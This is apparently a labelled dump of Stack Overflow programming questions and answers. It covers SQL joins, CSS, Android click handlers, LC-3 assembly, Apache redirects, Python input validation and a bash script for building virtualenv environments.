38192003	0	SQL Server : can't find the right 'join' formula for what I want <p>I'm trying to find the right way to achieve this. Suppose I have 3 tables A, B and C.</p> <p>I want my request to show some info from all 3 tables, but I want to show only one line by records that are in A.</p> <p>The problem, if I join tables, is that there is most of the time a lot of B records linked to one A record, even worse, there is a lot of C linked to one B, so sometimes, the same A record is shown over a hundred times...</p> <p>I tried <code>select top(1)</code> for B and <code>top(1)</code> again for C but still, it returns <code>top(1)</code> written on every 100 row of the same A, tried left join... inner join...</p> <p>I'm trying to figure out how to group by but still can't find the right grouping. I ended up making A LOT of nested select, in fact, my query contains more nested select then anything else... it works but it takes forever...</p> <ol> <li><p>Would it be faster if I find a way to remove most of my nested select ?</p></li> <li><p>Is that even possible? I mean, did someone ever manage to accomplish this one line for all 'A' records query?</p></li> </ol>
39935119	0	 <p>This might work for you (GNU sed):</p> <pre><code>sed -r 's#.*#s/.*/&amp;=\&amp;/#;1s#$#;h#;1!s#.*#n;&amp;;H#;$s#$#;x;s/^([^\\n]*)\\n(.*)/update.database.table set \\2 WHERE \\1;/;s/\\n/, /gp#' file | sed -nrf - log </code></pre> <p>Turn the file into a sed script then run it against the log.</p>
14246815	0	 <p><code>clone</code> only does a shallow copy: so you get a new <code>Vector</code> with references to the same objects as the original. This is the expected behavior.</p> <p>If you want different behavior, you'll need to manually copy the inner <code>Vector</code>s yourself. (This is one of the many reasons why the use of <code>clone</code> is ill-advised.)</p>
20171051	0	 <p>Fundamentally, your <code>&lt;ul&gt;</code> element is being padded to the left there, and nested <code>&lt;ul&gt;</code>'s get increasingly more padded. With this setup, I can't imagine theres a "one line solution" available.</p> <p>Instead, one, I would change that <code>padding-left</code> to exist on the <code>&lt;li&gt;</code> element itself. This will solve one problem (you'll notice your top level items will have their hover state appearing to be full width), but we still have one more change, and it may be significant.</p> <p>Update: Rather than appending class names to your list elements, I've updated the code to simply use descendent child selectors. This will allow you to use the same markup but generate the same affect.</p> <p><a href="http://jsfiddle.net/2hrtc/2/" rel="nofollow">Here's an example which solves the problem</a>.</p> <p>I've also made a couple simple updates. For one, you shouldn't need that <code>height: 14px</code> on each image, you can state that with CSS. Secondly, you probably will want to use <code>1em</code> rather than 14px, assuming your font size in the <code>&lt;li&gt;</code> is also 14px, as it will tie that icon size to the font size of the container. Easier maintainability.</p> <p>Additionally, commit to a kind of quote! You're using single quotes and double quotes - stick to one! I prefer double quotes as that was the legacy of XHTML.</p> <p>And finally, you should put that space <em>before</em> the span, rather than inside it. It makes a little more syntactical sense.</p> <p>Oh, and if you're using HTML5, there's no need for the self closing tag. HTML5 already knows how an <code>&lt;image&gt;</code> tag should work.</p>
35017435	0	conditional include for opencv2/photo/photo.hpp c++ depending on OpenCV version <p>I would like to create a conditional Include, depending on the OpenCV version. Actually I'm compiling in 2 different platforms the same source code. I'm developing in Ubuntu 14 and I want to run My application in a Raspberry PI. The problem I have is with the:</p> <pre><code>#include "opencv2/photo/photo.hpp" </code></pre> <p>In the raspberry I have OpenCV 2.4.1 and In Ubuntu the 2.4.8. Every time I compile I have to change the includes in several files which is annoying, That Why I would like to make a conditional Include, but no Idea how to this specific one.</p> <p>I read <a href="http://stackoverflow.com/questions/12314508/conditional-include-in-c">this</a> and a <a href="http://stackoverflow.com/questions/8930360/c-conditional-include-file-runtime">second</a> but I think is not the same problem. I also compile with CMAKE just in case I can create a variable or something to create the conditional include.</p>
22160482	0	 <p>Yes there are plugins that offers this functionality, I think most of the drag and drop jQuery plugins has their own callback function that triggers once the dragging and dropping has finished. <a href="http://dragsort.codeplex.com/" rel="nofollow">jQuery List DragSort</a> is a plugin I've used in my project before, it's lightweight and easy to use.</p> <pre><code>$("menu").dragsort({dragEnd: showHiddenCells }); function showHiddenCells() { //triggers after the user drops the element } </code></pre>
31916958	1	Django 1.8: How do I use my first 3rd Party Fork with my current project? <p>I'm still very new to development...</p> <p>I would like to simplify <a href="https://github.com/revsys/django-friendship/" rel="nofollow">django-friendship</a> and add some different functionality. I've forked it on GitHub. I'm not sure what to do next.</p> <p>Where should the local copy of my <code>django-friendship</code> repo go? Should I integrate it into my current Django project as an app, or set it up as a separate project? In which case, how do I set my main Django project to use it as an app while developing it?</p> <p>Any guidance or other resources I can learn from here would be much appreciated.</p> <p>Thanks!</p>
32290600	0	 <p>Check out <strong>Twitter Bootstrap</strong> - <a href="http://getbootstrap.com" rel="nofollow">http://getbootstrap.com</a> and <strong>Zurb Foundation</strong> - <a href="http://foundation.zurb.com" rel="nofollow">http://foundation.zurb.com</a>. These two are the most popular mobile responsive frameworks out right now. If you want lighter alternatives which are not as bloated, you can check out <strong>Skeleton</strong> - <a href="http://getskeleton.com" rel="nofollow">http://getskeleton.com</a></p>
23067893	0	 <p>Since you've posted no logcat, I can't correct your code, but I can give you a working example:</p> <pre><code>@Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.belfast_map); ImageButton ib1,ib2,ib3,ib4,ib5; //change your image ID's here ib1= (ImageButton) findViewById(R.id.go_to_lagan_screen); ib2= (ImageButton) findViewById(R.id.go_to_city); ib3= (ImageButton) findViewById(R.id.go_to_university); ib4= (ImageButton) findViewById(R.id.go_to_icon_screen); ib5= (ImageButton) findViewById(R.id.map_to_home_screen); ib1.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { //change the action here, a toast in your example Toast.makeText(MainActivity.this, MainActivity.this.getResources().getString(R.string.my_resource_string), Toast.LENGTH_LONG); } } ); ib2.setOnClickListener((new View.OnClickListener() { @Override public void onClick(View v) { Intent intent1= new Intent (MapScreen.this, CityCentre.class); startActivity(intent1); //To change body of implemented methods use File | Settings | File Templates. } })); ib3.setOnClickListener((new View.OnClickListener() { @Override public void onClick(View v) { Intent intent2= new Intent (MapScreen.this, UniversityArea.class); startActivity(intent2); //To change body of implemented methods use File | Settings | File Templates. } })); ib4.setOnClickListener((new View.OnClickListener() { @Override public void onClick(View v) { Intent intent3= new Intent (MapScreen.this, TheIcons.class); startActivity(intent3); //To change body of implemented methods use File | Settings | File Templates. } })); ib5.setOnClickListener((new View.OnClickListener() { @Override public void onClick(View v) { Intent intent4= new Intent (MapScreen.this, MyActivity.class); startActivity(intent4); //To change body of implemented methods use File | Settings | File Templates. } })); } </code></pre>
13239290	0	 <p>To get your cart total (assuming that the customer is log in or enter the shipping info)</p> <pre><code>$cart = Mage::getModel('checkout/session')-&gt;getQuote(); echo Mage::helper('core')-&gt;currency($cart-&gt;getGrandTotal(),true,false); </code></pre> <p>To get Shipping amount</p> <pre><code>$shippingMethod = $cart-&gt;getShippingAddress(); echo Mage::helper('core')-&gt;currency($shippingMethod['shipping_amount'],true,false); </code></pre> <p>Source <a href="http://www.magentocommerce.com/boards/viewthread/278544/" rel="nofollow">http://www.magentocommerce.com/boards/viewthread/278544/</a></p>
7619273	0	 <ol> <li><code>flip elem listx</code> is equivalent to <code>(flip elem) listx</code>. </li> <li><code>(flip elem)</code> is the same as <code>elem</code>, but with the arguments in opposite order. This is what <code>flip</code> does.</li> <li><code>elem</code> is a function that takes an element and a list, and checks whether the element belongs to the list.</li> <li>So <code>flip elem</code> is a function that that takes a list and an element, and checks whether the element belongs to the list.</li> <li>Therefore <code>flip elem listx</code> is a function that that takes an element, and checks whether the element belongs to <code>listx</code>.</li> <li>Now <code>all</code> takes a predicate and a list, and checks whether all elements of the list satisfy the predicate.</li> <li><code>all (flip elem listx)</code> take a list, and checks whether all elements of the list satisfy <code>flip elem listx</code>. That is, whether they all belong to <code>listx</code>.</li> <li><code>all (flip elem listx) input</code> checks whether all elements of <code>input</code> belong to <code>listx</code>.</li> <li>Q.E.D.</li> </ol>
36819972	0	LC-3 Motor Program (Strange Outputs) <p>So the output to my LC-3 program is giving me very strange characters/symbols. The objective of this program is to ask a user to input a 0 or a 1. If the user inputs a 1, the motor moves 120 degrees clockwise and then 90 degrees counter clockwise. If the user inputs a 0, the motor moves 50 degrees counter clockwise. 360 degrees = 36 steps. What is a step? A step is 10 degrees. The output prints out each step. For example, the user inputs a 0 then the output should say:</p> <pre><code>The motor moved 10 degrees CCW The motor moved 10 degrees CCW The motor moved 10 degrees CCW The motor moved 10 degrees CCW The motor moved 10 degrees CCW </code></pre> <p>It's a pretty interesting task imo but I'm having trouble actually making it work. Attached is my code and a screenshot of my output. Thanks for your time!</p> <p>Can't embed picture since this account is new but the link of the screenshot of my output is below: <a href="http://i.stack.imgur.com/wZi29.png" rel="nofollow">http://tinypic.com/r/9roghf/9</a></p> <p>It also seems like the code didnt embedded correctly but please consider everything below as part of the code (Because it is!):</p> <pre><code>.ORIG x4000 ;Constants Prompt .STRINGZ "Enter '1' to move moter 120 degrees clockwise then 90 degrees counter clockwise or Enter '0' to move motor 50 degree counter clockwise" CW .STRINGZ "The motor rotated 10 degrees clockwise" CCW .STRINGZ "The motor rotated 10 degrees counterclockwise" RL ;Clear and Load Register 2 AND R2, R2, #0 ADD R2, R2, #12 ;Clear and Load Register 3 AND R3, R3, #0 ADD R3, R3, #3 ;Clear and Load Register 4 AND R4, R4, #0 ADD R4, R4, #2 ;Clear And Load Register 5 AND R5, R5, #0 ADD R5, R5, #1 LL0 ;user input LEA R0, Prompt PUTS ;Print String GETC ;Receive user input OUT ;Prints out user input BRz LL3 ;If user input 0 BRp LL1 ;If user input 1 ;beginning of '1' loop ;120 degree clockwise rotation LL1 LEA R0, CW ADD R2, R2, #-6 ;1 Bit Shift (Right) - 10 degree turn PUTS AND R0, R0, #0 ADD R0, R0, #10 OUT ADD R2, R2, #-3 ;1 Bit Shift (Right) - 10 degree turn PUTS AND R0, R0, #0 ADD R0, R0, #10 OUT ADD R2, R2, #6 ;1 Bit Shift (Right) - 10 degree turn PUTS AND R0, R0, #0 ADD R0, R0, #10 OUT ADD R2, R2, #3 ;1 Bit Shift (Right) - 10 degree turn PUTS AND R0, R0, #0 ADD R0, R0, #10 OUT ADD R3, R3, #-1 ;Decrement Loop (3x) BRp LL1 ;90 degree counter clockwise rotation LL2 LEA R0, CCW ADD R2, R2, #-3 ;1 Bit Shift (Left) - 10 degree turn PUTS AND R0, R0, #0 ADD R0, R0, #10 OUT BRz Stop ;After 90 degree turn ADD R2, R2, #-6 ;1 Bit Shift (Left) - 10 degree turn PUTS AND R0, R0, #0 ADD R0, R0, #10 OUT ADD R2, R2, #3 ;1 Bit Shift (Left) - 10 degree turn PUTS AND R0, R0, #0 ADD R0, R0, #10 OUT ADD R2, R2, #6 ;1 Bit Shift (Left) - 10 degree turn PUTS AND R0, R0, #0 ADD R0, R0, #10 OUT ADD R4, R4, #-1 ;Decrement Loop (2x) BRzp LL2 ;beginning of '0' loop ;50 degree counter clockwise LL3 LEA R0, CCW ADD R2, R2, #-3 ;1 Bit Shift (Left) - 10 degree turn PUTS AND R0, R0, #0 ADD R0, R0, #10 OUT BRz Stop ;After 50 degree turn ADD R2, R2, #-6 ;1 Bit Shift (Left) - 10 degree turn PUTS AND R0, R0, #0 ADD R0, R0, #10 OUT ADD R2, R2, #3 ;1 Bit Shift (Left) - 10 degree turn PUTS AND R0, R0, #0 ADD R0, R0, #10 OUT ADD R2, R2, #6 ;1 Bit Shift (Left) - 10 degree turn PUTS AND R0, R0, #0 ADD R0, R0, #10 OUT ADD R5, R5, #-1 ;Decrement Loop (1x) BRz LL3 Stop HALT .END </code></pre>
34618413	0	 <p>I've found the cause of the problem. It's actually very simple but also pretty frustrating.</p> <p>When publishing the web app, you have the option to <code>Remove additional files at destination</code>. I have always left this checked because I don't like old files hanging around for no reason. </p> <p>You also have the option to <code>Exclude files from the App_Data folder</code> which I also always leave checked so that files from <code>App_Data</code> are not deleted based on the remove configuration above. I then usually configure things like NLog log files, ELMAH xml files etc to go into <code>App_Data</code> safe in the knowledge that anything in there won't be deleted.</p> <p>So the issue with Webjobs is that they're deployed into <code>App_Data</code>. So if the <code>Exclude files from App_Data folder</code> is checked then when the app is published, it's doing what it's told and ignoring <code>App_Data</code> and hence ignoring the changes to the Webjob. </p> <p>So the simple solution is to uncheck this option and the Webjob is deployed successfully. However the issue now is that all other files in <code>App_Data</code> will be deleted (log files etc). </p> <p>So you could uncheck the remove files config but that then potentially leaves other unwanted files lying around. Not ideal. </p> <p>The other option is to leave the remove config checked, click the Preview button within the Publish dialog prior to publishing, then manually unchecking every file you don't want deleted. However the publish process fails if any of the files you want to keep are within sub-folders within <code>App_Data</code> e.g. <code>App_Data/logs</code>.</p> <p>So the other option is to move all of the files within <code>App_Data</code> that you want to keep into the root of <code>App_Data</code>, then uncheck each of them within the Preview window prior to publishing. Not a huge deal when done once but becomes tedious when publishing lots of times.</p> <p>I realise I could move log files etc to Azure storage, SQL DBs etc but what if it's the case that other files are in <code>App_Data</code> which need to be kept? <code>App_Data</code> isn't solely intended for Webjobs but using Webjobs creates a bit of an awkward situation if you also use <code>App_Data</code> for other things. </p> <p>Be keen to know if I'm missing anything obvious here?</p>
1764353	0	 <p>I've looked at the MSDN page... it said NtQuerySystemInformation() is an OS internal proc, and that we're not recommended to use it:</p> <blockquote> <p>The NtQuerySystemInformation function and the structures that it returns are internal to the operating system and subject to change from one release of Windows to another. To maintain the compatibility of your application, it is better to use the alternate functions previously mentioned instead.</p> </blockquote>
19736891	0	 <p>The problem is exactly what the Traceback log says: <code>Could not convert string to float</code></p> <ul> <li>If you have a string with only numbers, python's smart enough to do what you're trying and converts the string to a float.</li> <li>If you have a string with non-numerical characters, the conversion will fail and give you the error that you were having.</li> </ul> <p>The way most people would approach this problem is with a <code>try/except</code> (see <a href="http://docs.python.org/3/tutorial/errors.html" rel="nofollow">here</a>), or using the <code>isdigit()</code> function (see <a href="http://www.tutorialspoint.com/python/string_isdigit.htm" rel="nofollow">here</a>).</p> <p><strong>Try/Except</strong></p> <pre><code>try: miles = float(input("How many miles can you walk?: ")) except: print("Please type in a number!") </code></pre> <p><strong>Isdigit()</strong></p> <pre><code>miles = input("How many miles can you walk?: ") if not miles.isdigit(): print("Please type a number!") </code></pre> <p>Note that the latter will still return false if there are decimal points in the string</p> <h2>EDIT</h2> <p>Okay, I won't be able to get back to you for a while, so I'll post the answer just in case.</p> <pre><code>while True: try: miles = float(input("How many miles can you walk?: ")) break except: print("Please type in a number!") #All of the ifs and stuff </code></pre> <p>The code's really simple:</p> <ul> <li>It will keep trying to convert the input to a float, looping back to the beginning if it fails.</li> <li>When eventually it succeeds, it'll break from the loop and go to the code you put lower down.</li> </ul>
40811428	0	 <p>You can do this in a single redirect rule:</p> <pre><code>RewriteEngine On RewriteCond %{HTTPS} off [OR] RewriteCond %{HTTP_HOST} !=www.ourwebsite.co.uk RewriteRule ^ https://www.ourwebsite.co.uk%{REQUEST_URI} [R=301,L,NE] # rest of rules go below this </code></pre> <p>Make sure to clear your browser cache before testing this change.</p>
1357579	0	Does Intellij Idea 8.1.x install and run on Mac OSX 10.6? <p>Does Intellij Idea 8.1.x install and run on Mac OSX 10.6 (snow-leopard)?</p> <p>Are there any special steps needed to get it to work?</p>
34575799	0	 <p>Solved - like this</p> <pre><code> var webApp = express(); var cors = require('cors'); webApp.use(cors()); webApp.use(kue.app); webApp.listen(); </code></pre>
29189745	0	In XSLT using XPath <p>if I have number like $999,999 I want to use a function to give me just 999999 without any other symbol.I tried substring(value,2) but that take of the $ how about the , Is there any idea to do that, </p>
19635143	0	PHP timthumb error with Joomla <p>I am using a Joomla template in my site. But It doesn't load any images in portfolio content. When I am opening the path of the image it opens a php file and this gives this error</p> <blockquote> <p>open_basedir restriction in effect. File(/usr/local/apache/htdocs) is not within the allowed path(s): (/home/:/usr/lib/php:/tmp) in <strong><em>serverpath</em></strong>/public_html/templates/ekho/lib/timthumb.php on line 867</p> </blockquote> <p>I need to know where is the problem? Please help in advance... Thanks</p>
17336268	0	How to get text from a textbox using javascript <p>i have developed a web application using mvc4.</p> <p>in this case i need to get a text box value(actually the text entered in the text box) using javascript.</p> <p>here is the code i am using</p> <pre><code> @model PortalModels.WholeSaleModelUser @using (Html.BeginForm("uploadFile", "WholeSaleTrade", FormMethod.Post, new { enctype = "multipart/form-data" })) { @Html.ValidationSummary(true) &lt;fieldset&gt; &lt;legend&gt;WholeSaleModelUser&lt;/legend&gt; &lt;table&gt; &lt;tr&gt; &lt;td&gt; &lt;div class="editor-label"&gt; @Html.LabelFor(model =&gt; model.Name) &lt;/div&gt; &lt;/td&gt; &lt;td&gt; &lt;div class="editor-field"&gt; @Html.TextBoxFor(model =&gt; model.Name) @Html.ValidationMessageFor(model =&gt; model.Name) &lt;/div&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;div id="partial"&gt; &lt;table&gt; &lt;tr&gt; &lt;td&gt; &lt;img id="blah" src="../../Images/no_image.jpg" alt="your image" height="200px" width="170px" /&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;script type="text/javascript"&gt; function loadUserImage() { var userImg = document.getElementById("blah"); var imgNm = $("#Name").value; userImg.src = "D:/FEISPortal/FortalApplication/Img/" + imgNm + ".png"; alert(imgNm); alert(userImg.src); } &lt;/script&gt; </code></pre> <p>in that case alert gives the value as "undefined" and if do the following modification alert gives nothing.</p> <pre><code>var imgNm = document.getElementById("Name").value; </code></pre> <p>for</p> <pre><code>var imgNm = $("#Name").value; </code></pre> <p>how to get the text entered in the text box?</p>
27838495	0	Finding the difference between a time and the current time <p>So I'm writing an app that has similar functionality to an alarm clock. It asks for the user to input a time. But I've been stuck on how to figure this out for a while.</p> <p>The method needs to find the difference in minutes between the user selected time, and the current time. Assuming that the user will always put in a time that is AFTER the current time (otherwise it wouldn't make sense to use my app), the difference would just be (userTimeInMins - currTimeInMins), where both are calculated by ((hours * 60) + minutes).</p> <h2>BUT. Here's the problem:</h2> <p>Ex 1) If the current time is 10 PM, and the user enters in the time 2 AM. The above algorithm would say that the difference between the two times is (22 * 60 + 0) - (2 * 60 + 0), which is clearly incorrect because this would mean there is a difference of 20 hours between 10PM and 2 AM, when the difference is actually 4 hours. <br/> <br/> Ex 2) If the current time is 1PM, and the user enters in the time 2AM. The above algorithm would say that the difference between the two times is (13 * 60 + 0) - (2 * 60 + 0), which is again incorrect because this would mean there is a difference of 11 hours, when the difference is actually 13 hours.</p> <h2>What I have so far</h2> <p>I've realized that for example 1 and for example 2, the difference in minutes can be calculated with (((24 + userHours) * 60) + userMinutes) - currTimeInMins</p> <p>I'm struggling to come up with decision statements in the method to determine whether to use the first method or the second method to calculate the difference in minutes.</p> <h2>The Code</h2> <pre><code>// Listener for the time selection TimePickerDialog.OnTimeSetListener time = new TimePickerDialog.OnTimeSetListener() { @Override public void onTimeSet(TimePicker view, int hourOfDay, int minute) { String currAM_PM = ""; String userAM_PM = ""; // Get user AM/PM int hourToShow = 0; if (hourOfDay &gt; 12){ hourToShow = hourOfDay - 12; userAM_PM = "PM" } else if (hourOfDay == 12){ hourToShow = hourOfDay; userAM_PM = "PM" } else{ hourToShow = hourOfDay; userAM_PM = "AM" } // Update the time field to show the selected time in 12-hr format EditText timeField = (EditText) findViewById(R.id.editTime); timeField.setText(hourToShow + ":" + minute + " " + userAM_PM); // Get current hour SimpleDateFormat sdf = new SimpleDateFormat("HH"); String cHour = sdf.format(new Date()); int currHour = Integer.parseInt(cHour); // Get current AM/PM if (currHour &gt; 12){ currAM_PM = "PM" } else if (currHour == 12){ currAM_PM = "PM" } else{ currAM_PM = "AM" } // Calculate the time to use // If the selected hour is less than the current hour AND am_pm is "AM" // THIS IS THE WHERE I NEED HELP //-------------------------------------------------------------- if(currAM_PM == "PM" &amp;&amp; userAM_PM == "AM" .... ??????) { //take 24, add the hour, use same minute. so that 3 am is 27:00. timeToUse = ((24 + hourOfDay) * 60) + minute; } else timeToUse = (hourOfDay * 60) + minute; } // timeToUse is then passed through an intent extra to the next activity // where the difference between it and the current time is calculated and used // for other purposes. }; </code></pre> <h2>Thanks for any help ahead of time.</h2>
6738232	0	SilverLight Service Deployment <p>I've written a silverlight app with a simple wcf service. Runs great on my computer, when I publish it to my web account it no longer works with the service. I tried editing the clintconfig file to set the endpoint to the new location, that did not fix it. So I downloaded this simple SilverLight App with WCF example setup for deploying, and it also works on my personal machine, but not when I publish it to my domain. My account supports asp.net, wcf, etc.. The link to the example I downloaded: <a href="http://www.codeproject.com/Articles/152778/Deploying-Silverlight-with-WCF-Services" rel="nofollow">http://www.codeproject.com/Articles/152778/Deploying-Silverlight-with-WCF-Services</a></p> <p>I'm new to this, so I'm wondering if this is something that should work without additional work, or if I'm missing something. I'm not getting any errors, I'm just not getting the message displayed on the screen from the service.</p> <p>Added following after Hatchets Comment: I'm trying to figure out how to find a error message. So far the only way I know it's not working is I don't see the message that is returned from the service. SilverLight displays the returned message, "Hello from My WCF Service". I see it on my machine, but not when I publish it to my domain. The app I downloaded, if I understand it right, is setup to work without having to change the endpoint address, but i'm so new to this, I've not figured out what i'm missing yet. Thanks.</p> <p>Added after comments below:</p> <p>I grabed fiddler, and after i added the tag, i was able to see an error in fiddler, and when browsing to the .svc file. Error: </p> <p>Configuration Error</p> <p>Description: An error occurred during the processing of a configuration file required to service this request. Please review the specific error details below and modify your configuration file appropriately. </p> <p>Parser Error Message: Unrecognized attribute 'multipleSiteBindingsEnabled'. Note that attribute names are case-sensitive.</p> <pre><code>Source Error: Line 30: &lt;/bindings&gt; Line 31: &lt;serviceHostingEnvironment aspNetCompatibilityEnabled="true" Line 32: multipleSiteBindingsEnabled="true" /&gt; Line 33: &lt;services&gt; Line 34: &lt;service name="testWCF.Web.Service1"&gt; </code></pre> <p>Source File: \boswinfs03\home\users\web\b706\whl.forystpcom\web.config Line: 32 </p> <p>Version Information: Microsoft .NET Framework Version:2.0.50727.4211; ASP.NET Version:2.0.50727.4016</p> <p>I'm unfamiliar with multipleSiteBindingsEnabled and the best way to handle this, does the version of .NET running affect this? The server i'm running this on supports up to 3.5 it says, but I notice it quotes version 2.0 in the error, not sure if they are connected.</p>
28929317	0	 <p>You did not put in the <code>use</code> statement for <code>OAuthTokenCredential</code>.</p>
6875127	0	 <p>Based on <a href="http://stackoverflow.com/questions/4324558/whats-the-proper-way-to-install-pip-virtualenv-and-distribute-for-python/5177027#5177027">Walker Hale IV's answer</a> to a similar (but distinct! ;) ) question, there are two keys to doing this:</p> <ul> <li>you don't need to install distribute and pip because these are automatically included in a new virtual environment (and you presumably only want the versions that have been tested with virtualenv)</li> <li>you can use the virtualenv source code to create a new virtual environment, rather than using the system-installed version of virtualenv</li> </ul> <p>So the workflow is:</p> <ul> <li>install Python version X on your system</li> <li>download virtualenv source code version Q (probably the latest)</li> <li>create new virtual environment with Python X and virtualenv Q</li> <li>your new VE is now running Python X and the latest stable versions of pip and distribute</li> <li>pip install any other packages</li> <li>easy_install any other packages that you can't pip install</li> </ul> <p>Notes:</p> <ul> <li>In your new virtual environment, you could install new (or old) versions of distribute, pip or virtualenv. (I think)</li> <li>I don't use WH4's technique of create a bootstrap virtual environment. Instead, I create the new virtual environment from the virtualenv source each time.</li> <li>This technique should be usable on any operating system.</li> <li>If I were explaining this to someone new to the whole Distribute/pip/virtualenv ecosystem concept, I would explain it in a virtualenv-centric way.</li> </ul> <p>I've written a bash script that does the basics in Ubuntu:</p> <pre><code> #! /bin/bash # Script to create a python virtual environment # independently of the system version of virtualenv # # Ideally this would be a cross-platform Python # script with more validation and fewer TODOs, # but you know how it is. # = PARAMETERS = # $1 is the python executable to use # examples: python, python2.6, /path/to/python # $2 is the new environment folder # example: /path/to/env_folder/name ## TODO: should be just a name ## but I can't concatenate strings in bash # $3 is a pip requirements file # example: /path/to/req_folder/name.txt # you must uncomment the relevant code below to use $3 ## TODO: should be just a name ## but I can't concatenate strings in bash # other parameters are hard-coded below # and you must change them before first use # = EXAMPLES OF USE = # . env_create python2.5 /home/env/legacy ## creates environment "legacy" using python 2.5 # . env_create python /home/env/default ## creates environment "default" using whatever version of python is installed # . env_create python3.2 /home/env/bleeding /home/req/testing.txt ## creates environment "bleeding" using python 3.2 and installs packages from testing.txt using pip # = SET UP VARIABLES = # Required version of virtualenv package VERSION=1.6.4 # Folder to store your virtual environments VE_FOLDER='/media/work/environments' ## TODO: not used because I can't concatenate strings in bash # Folder to store bootstrap (source) versions of virtualenv BOOTSTRAP_FOLDER='/media/work/environments/bootstrap' ## TODO: not used because I can't concatenate strings in bash # Folder to store pip requirements files REQUIREMENTS_FOLDER='/media/work/environments/requirements' ## TODO: not used because I can't concatenate strings in bash # Base URL for downloading virtualenv source URL_BASE=http://pypi.python.org/packages/source/v/virtualenv # Universal environment options ENV_OPTS='--no-site-packages --distribute' # $1 is the python interpreter PYTHON=$1 # $2 is the target folder of the new virtual environment VE_TARGET=$2 # $3 is the pip requirements file REQ_TARGET=$3 ## = DOWNLOAD VIRTUALENV SOURCE = ## I work offline so I already have this downloaded ## and I leave this bit commented out # cd $BOOTSTRAP_DIR # curl -O $URL_BASE/virtualenv-$VERSION.tar.gz ## or use wget # = CREATE NEW ENV USING VIRTUALENV SOURCE = cd $BOOTSTRAP_FOLDER tar xzf virtualenv-$VERSION.tar.gz # Create the environment $PYTHON virtualenv-$VERSION/virtualenv.py $ENV_OPTS $VE_TARGET # Don't need extracted version anymore rm -rf virtualenv-$VERSION # Activate new environment cd $VE_TARGET . bin/activate # = INSTALL A PIP REQUIREMENTS FILE = ## uncomment this if you want to automatically install a file # pip install -r $REQ_TARGET # = REPORT ON THE NEW ENVIRONMENT = python --version pip freeze # deactivate ## uncomment this if you don't want to start in your environment immediately </code></pre> <p>Output looks something like this (with downloading switched off and deactivation switched on):</p> <pre> user@computer:/home/user$ . env_create python3 /media/work/environments/test New python executable in /media/work/environments/test/bin/python3 Also creating executable in /media/work/environments/test/bin/python Installing distribute...............done. Installing pip...............done. Python 3.2 distribute==0.6.19 wsgiref==0.1.2 user@computer:/media/work/environments/test$ </pre>
24825015	0	signed or unsigned int in c++ <p>How can i check if given int(or any other data type) is signed or unsigned? I found this function while searching, </p> <pre><code>std::numeric_limits&lt;int&gt;::is_signed </code></pre> <p>But i can only input the data type, is there a way that i can check by variable name, like.</p> <pre><code>signed int x = 5; </code></pre> <p>Now i want to make a function which checks that x is a signed int or not.</p> <p>And if you guys can answer these little questions, that would be highly appreciated.</p> <ol> <li>Why do we use '::' these operators after std? </li> <li>What do they mean when we use them in std::cout, is it the same?</li> <li>Here numeric_limits&lt;> is a class or what?</li> <li>And again, why are we using these '::' before is_signed?</li> </ol>
12553867	0	 <p>Did you remove old version of the php? <code>sudo yum remove php</code> or (php5, I don't remember how excatly the package is named)</p> <p>After removing run <code>sudo updatedb</code> and <code>sudo locate php</code> and delete any leftovers (e.g /etc/php, /usr/local/php and so on). Care not to delete files from other applications or the package manager. When your system is clean and no traces of the old version are there install the new version: after the config step that finishes the guide run <code>make</code> and then <code>sudo make install</code></p>
17252799	0	XNA Texture2D Billboarding appears as a white block <p>Very odd problem, when I try and draw my billboard sprite it always appears as a white block, changing the .draw color property still draws it as white, it also doesn't matter it I use a jpeg, or transparent png.</p> <p>[EDIT]</p> <p>So I'm now trying to use a <code>Viewport</code> instead of a basic effect to just get an x and y screen coordinate, I'll fix any scaling issue later, however now the image stays in the exact same spot (on the screen, it doesn't change position based on the camera) and doesn't get any bigger or smaller based on how far away it is</p> <p>My new billboard rendering function:</p> <pre><code>public void Draw(Camera camera, GraphicsDevice device, SpriteBatch spriteBatch, Texture2D Texture) { Viewport viewport = new Viewport(new Rectangle(0, 0, 800, 480)); Vector3 viewSpaceTextPosition = viewport.Project(this.position, camera.Projection, camera.View, camera.World); spriteBatch.Begin(); spriteBatch.Draw(Texture, new Vector2(viewSpaceTextPosition.X, viewSpaceTextPosition.Y), null, Color.White, 0, new Vector2(Texture.Bounds.Center.X, Texture.Bounds.Center.Y), this.Scale, SpriteEffects.None, viewSpaceTextPosition.Z); spriteBatch.End(); device.RasterizerState = RasterizerState.CullCounterClockwise; device.BlendState = BlendState.Opaque; device.DepthStencilState = DepthStencilState.Default; } </code></pre> <p>So is my use of Viewport wrong or do I just need to use it's information differently in <code>spriteBatch.Draw()</code>?</p>
19572852	0	Why use To_Localtime when analyzing IIS logs <p>I've searched for several examples to analyze IIS logs using the Log Parser, taking time into account... For example, this query that shows the number of hits per hour:</p> <pre><code>SELECT QUANTIZE(TO_LOCALTIME(TO_TIMESTAMP(date, time)), 3600) AS Hour, COUNT(*) AS Hits FROM D:\Logs\*.log Group By Hour </code></pre> <p>However I cannot understand why use "TO_LOCALTIME"... Also, if there is a time difference (and a difference in results while using "TO_LOCALTIME" or not), how is that?... Thank you!</p>
30243915	0	 <p>I highly recommend this - </p> <pre><code>if(/Element/g.test(Array)){---} </code></pre>
12404646	0	 <p>You can try this, It will work for both example.</p> <pre><code>$('h1').each(function(){ var self = $(this); var p = self.text().split(' '); var html = self.html().replace(p[0], '&lt;span&gt;'+ p[0] +'&lt;/span&gt;'); self.html(html); }); </code></pre> <p>Check this <strong><a href="http://jsfiddle.net/6seeW/" rel="nofollow">Demo</a></strong></p>
28989954	0	sftp copy files from windows server to linux server using shell scripting <p>I am working on shell script that is supposed to transfer files (with their subdirectories) from a Windows Server to a Linux-Samba server. The Windows server is setup to accept sftp requests and I am logging into the Windows server with shared ssh keys so there is no need for a password exchange. I can log into the Windows from the linux server with this command:</p> <pre><code> sftp user@host_name </code></pre> <p>It executes the sftp command and logs me into the Windows server. When I try to use the:</p> <pre><code> get -r /home_directory/first_level/* /local/directory/to/put/files </code></pre> <p>I get an error message saying "Invalid flag -r". I can't use SCP because it is not enabled on the server. </p> <p>What can I do in order to recursively copy all the files and directories from the Windows server to the linux server using a shell script?</p>
